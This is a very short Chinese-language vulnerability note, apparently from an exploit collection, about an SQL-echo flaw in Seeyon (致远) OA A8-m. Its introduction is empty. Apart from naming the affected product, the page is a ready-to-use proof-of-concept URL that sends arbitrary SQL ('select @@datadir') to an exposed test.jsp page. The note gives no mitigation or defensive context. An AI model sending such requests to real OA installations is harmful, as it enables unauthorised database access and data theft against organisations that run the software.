# 致远OA A8-m 存在sql语句页面回显功能 ### 一、漏洞简介 ### 二、漏洞影响 致远OA A8-m ### 三、复现过程 ```bash http://url/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20@@datadir ```